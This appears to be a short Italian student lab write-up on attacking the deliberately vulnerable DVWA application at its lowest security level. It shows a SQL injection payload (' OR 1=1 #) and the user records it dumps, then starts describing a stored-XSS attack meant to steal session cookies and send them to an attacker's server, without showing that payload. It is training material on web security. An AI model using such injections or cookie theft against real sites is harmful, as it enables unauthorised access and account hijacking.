Web Application hacking

Davide Diglio

Obiettivi

1. Recuperare le password degli utenti presenti sul DB (sfruttando la SQL).
2. Recuperare i cookie di sessione delle vittime del XSS stored ed inviarli ad un server sotto il controllo dell'attaccante.

Svolgimento

I. Per prima cosa su DVWA si deve configurare il livello di sicurezza LOW

II. Poi abbiamo iniziato a recuperare le password degli utenti di DB.

```
ID: ' OR 1=1 #
First name: admin
Surname: admin

ID: ' OR 1=1 #
First name: Gordon
Surname: Brown

ID: ' OR 1=1 #
First name: Hack
Surname: Me

ID: ' OR 1=1 #
First name: Pablo
Surname: Picasso

ID: ' OR 1=1 #
First name: Bob
Surname: Smith
```

Avendo il livello di sicurezza LOW è molto facile compromettere la query, ottenendo facilmente le informazioni degli utenti.

Questo tipo di attacco si basa compromettendo la query che viene preparata da php prima che venga eseguita dal SQL.

III. Successivamente l'esercizio chiedeva di recuperare i cookie di sessione delle vittime del XSS stored. Questo tipo di attacco si basa quando il payload viene spedito al sito web e poi salvato nello stored, il codice dannoso salvato lo utilizza nell'output HTML, che mette in moto l'attacco.